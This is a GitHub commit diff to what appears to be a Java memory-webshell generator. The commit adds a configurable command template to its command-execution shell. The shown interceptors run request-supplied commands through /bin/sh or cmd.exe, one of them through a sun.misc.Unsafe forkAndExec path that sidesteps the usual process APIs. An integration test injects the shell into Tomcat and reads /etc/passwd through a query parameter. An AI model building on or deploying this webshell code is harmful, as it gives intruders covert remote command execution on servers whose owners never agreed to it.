Skip to content

Commit 5447063

Browse files
committed
feat: support command template
1 parent f1d42a9 commit 5447063

File tree

16 files changed

+253
-82
lines changed

16 files changed

+253
-82
lines changed

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@ public static class ShellToolConfigDTO {
2323
private String godzillaPass;
2424
private String godzillaKey;
2525
private String commandParamName;
26+
private String commandTemplate;
2627
private String behinderPass;
2728
private String antSwordPass;
2829
private String headerName;
@@ -50,6 +51,7 @@ public ShellToolConfig parseShellToolConfig() {
5051
case Command -> CommandConfig.builder()
5152
.shellClassName(shellToolConfig.getShellClassName())
5253
.paramName(shellToolConfig.getCommandParamName())
54+
.template(shellToolConfig.getCommandTemplate())
5355
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
5456
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
5557
.build();

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,15 +15,30 @@
1515
@SuperBuilder
1616
@ToString
1717
public class CommandConfig extends ShellToolConfig {
18+
19+
/**
20+
* 接收参数的请求头或请求参数名称
21+
*/
1822
@Builder.Default
1923
private String paramName = CommonUtil.getRandomString(8);
2024

25+
/**
26+
* 加密器
27+
*/
2128
@Builder.Default
2229
private Encryptor encryptor = Encryptor.RAW;
2330

31+
/**
32+
* 实现类
33+
*/
2434
@Builder.Default
2535
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
2636

37+
/**
38+
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
39+
*/
40+
private String template;
41+
2742
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
2843
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
2944
public B paramName(String paramName) {

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
package com.reajason.javaweb.memshell.generator.command;
22

3-
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
43
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
5-
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
64
import com.reajason.javaweb.memshell.config.CommandConfig;
75
import com.reajason.javaweb.memshell.config.ShellConfig;
86
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -44,13 +42,17 @@ public DynamicType.Builder<?> getBuilder() {
4442
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
4543
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
4644
}
47-
4845
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
49-
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
46+
builder = builder.visit(Advice.withCustomMapping()
47+
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
48+
.to(RuntimeExecInterceptor.class)
49+
.on(named("getInputStream")));
5050
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
51-
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
51+
builder = builder.visit(Advice.withCustomMapping()
52+
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
53+
.to(ForkAndExecInterceptor.class)
54+
.on(named("getInputStream")));
5255
}
53-
5456
return builder;
5557
}
5658
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java

Lines changed: 23 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,27 @@
1313
*/
1414
public class ForkAndExecInterceptor {
1515
@Advice.OnMethodExit
16-
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
16+
public static void enter(@Advice.Argument(value = 0) String cmd,
17+
@Advice.Return(readOnly = false) InputStream returnValue,
18+
@TemplateAnnotation String template
19+
) throws IOException {
1720
try {
18-
String[] strs = cmd.split("\\s+");
21+
String[] cmdarray = null;
22+
String t = template;
23+
if (t == null) {
24+
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
25+
} else {
26+
if (t.contains("\"{command}\"")) {
27+
String[] split = t.split("\\s+");
28+
for (int i = 0; i < split.length; i++) {
29+
split[i] = split[i].replace("\"{command}\"", cmd);
30+
}
31+
cmdarray = split;
32+
} else {
33+
String cmdline = t.replace("{command}", cmd);
34+
cmdarray = cmdline.split("\\s+");
35+
}
36+
}
1937
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
2038
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
2139
unsafeField.setAccessible(true);
@@ -30,11 +48,11 @@ public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(
3048
}
3149
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
3250

33-
byte[][] args = new byte[strs.length - 1][];
51+
byte[][] args = new byte[cmdarray.length - 1][];
3452
int size = args.length;
3553

3654
for (int i = 0; i < args.length; i++) {
37-
args[i] = strs[i + 1].getBytes();
55+
args[i] = cmdarray[i + 1].getBytes();
3856
size += args[i].length;
3957
}
4058

@@ -48,7 +66,7 @@ public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(
4866

4967
int[] envc = new int[1];
5068
int[] std_fds = new int[]{-1, -1, -1};
51-
byte[] bytes = strs[0].getBytes();
69+
byte[] bytes = cmdarray[0].getBytes();
5270
byte[] result = new byte[bytes.length + 1];
5371
System.arraycopy(bytes, 0,
5472
result, 0,
Lines changed: 23 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.reajason.javaweb.memshell.generator.command;
22

33
import net.bytebuddy.asm.Advice;
4+
import org.apache.commons.io.IOUtils;
45

56
import java.io.IOException;
67
import java.io.InputStream;
@@ -10,9 +11,28 @@
1011
* @since 2025/5/25
1112
*/
1213
public class RuntimeExecInterceptor {
14+
1315
@Advice.OnMethodExit
14-
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
15-
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
16-
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
16+
public static void enter(@Advice.Argument(value = 0) String cmd,
17+
@Advice.Return(readOnly = false) InputStream returnValue,
18+
@TemplateAnnotation String template
19+
) throws IOException {
20+
String[] cmdarray = null;
21+
String t = template;
22+
if (t == null) {
23+
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
24+
} else {
25+
if (t.contains("\"{command}\"")) {
26+
String[] split = t.split("\\s+");
27+
for (int i = 0; i < split.length; i++) {
28+
split[i] = split[i].replace("\"{command}\"", cmd);
29+
}
30+
cmdarray = split;
31+
} else {
32+
String cmdline = t.replace("{command}", cmd);
33+
cmdarray = cmdline.split("\\s+");
34+
}
35+
}
36+
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
1737
}
1838
}
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
package com.reajason.javaweb.memshell.generator.command;
2+
3+
import java.lang.annotation.Retention;
4+
import java.lang.annotation.RetentionPolicy;
5+
6+
@Retention(RetentionPolicy.RUNTIME)
7+
public @interface TemplateAnnotation {
8+
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java

Lines changed: 48 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,26 +8,34 @@
88
import com.reajason.javaweb.memshell.config.CommandConfig;
99
import com.reajason.javaweb.memshell.config.ShellToolConfig;
1010
import com.reajason.javaweb.packer.Packers;
11+
import lombok.SneakyThrows;
1112
import lombok.extern.slf4j.Slf4j;
1213
import net.bytebuddy.jar.asm.Opcodes;
14+
import okhttp3.HttpUrl;
15+
import okhttp3.OkHttpClient;
16+
import okhttp3.Request;
17+
import okhttp3.Response;
18+
import org.apache.commons.lang3.RandomStringUtils;
19+
import org.apache.commons.lang3.tuple.Pair;
1320
import org.junit.jupiter.api.AfterAll;
1421
import org.junit.jupiter.params.ParameterizedTest;
1522
import org.junit.jupiter.params.provider.Arguments;
1623
import org.junit.jupiter.params.provider.MethodSource;
24+
import org.junit.jupiter.params.provider.ValueSource;
1725
import org.testcontainers.containers.GenericContainer;
1826
import org.testcontainers.containers.wait.strategy.Wait;
1927
import org.testcontainers.junit.jupiter.Container;
2028
import org.testcontainers.junit.jupiter.Testcontainers;
21-
import org.apache.commons.lang3.RandomStringUtils;
22-
import org.apache.commons.lang3.tuple.Pair;
2329

2430
import java.util.Base64;
31+
import java.util.Objects;
2532
import java.util.stream.Stream;
2633

2734
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
2835
import static com.reajason.javaweb.integration.ContainerTool.warFile;
2936
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
3037
import static org.hamcrest.MatcherAssert.assertThat;
38+
import static org.junit.jupiter.api.Assertions.assertTrue;
3139
import static org.junit.jupiter.params.provider.Arguments.arguments;
3240

3341
/**
@@ -55,6 +63,44 @@ static Stream<Arguments> casesProvider() {
5563
);
5664
}
5765

66+
@ParameterizedTest
67+
@SneakyThrows
68+
@ValueSource(strings = {
69+
"/bin/bash -c \"{command}\" 2>&1",
70+
"sh -c \"{command}\" 2>&1",
71+
"{command}"
72+
})
73+
void testTemplate(String template) {
74+
String url = getUrl(container);
75+
String shellTool = ShellTool.Command;
76+
String shellType = ShellType.FILTER;
77+
Packers packer = Packers.BigInteger;
78+
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
79+
String shellUrl = urls.getLeft();
80+
String urlPattern = urls.getRight();
81+
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
82+
ShellToolConfig shellToolConfig = CommandConfig.builder()
83+
.paramName(uniqueName)
84+
.template(template)
85+
.build();
86+
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, null, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer);
87+
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
88+
OkHttpClient okHttpClient = new OkHttpClient();
89+
HttpUrl httpUrl = Objects.requireNonNull(HttpUrl.parse(shellUrl))
90+
.newBuilder()
91+
.addQueryParameter(uniqueName, "cat /etc/passwd")
92+
.build();
93+
Request request = new Request.Builder()
94+
.url(httpUrl)
95+
.get().build();
96+
97+
try (Response response = okHttpClient.newCall(request).execute()) {
98+
String res = response.body().string();
99+
System.out.println(res.trim());
100+
assertTrue(res.contains("root:x:0:0:root:/root:/bin/bash"));
101+
}
102+
}
103+
58104
@AfterAll
59105
static void tearDown() {
60106
String logs = container.getLogs();

web/app/components/memshell/results/jar-result.tsx

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
import { ScrollTextIcon } from "lucide-react";
22
import { useTranslation } from "react-i18next";
3-
import CodeViewer from "@/components/code-viewer";
43
import { Button } from "@/components/ui/button";
54
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
65
import { Separator } from "@/components/ui/separator";
@@ -17,7 +16,6 @@ export function JarResult({
1716
generateResult?: MemShellResult;
1817
}>) {
1918
const { t } = useTranslation();
20-
const isPureJar = packMethod === "Jar";
2119
return (
2220
<Card>
2321
<CardHeader>

web/app/components/memshell/tabs/classname-field.tsx

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ export function OptionalClassFormField({
6262
return (
6363
<Fragment>
6464
<div className="pt-2 flex items-center justify-between gap-3">
65-
<div className="flex items-center gap-2 text-sm">
65+
<div className="flex items-center gap-2 text-sm font-medium">
6666
<Shuffle className="h-4 w-4" />
6767
<span>{t("mainConfig.randomClassName")}</span>
6868
</div>

0 commit comments

Comments
 (0)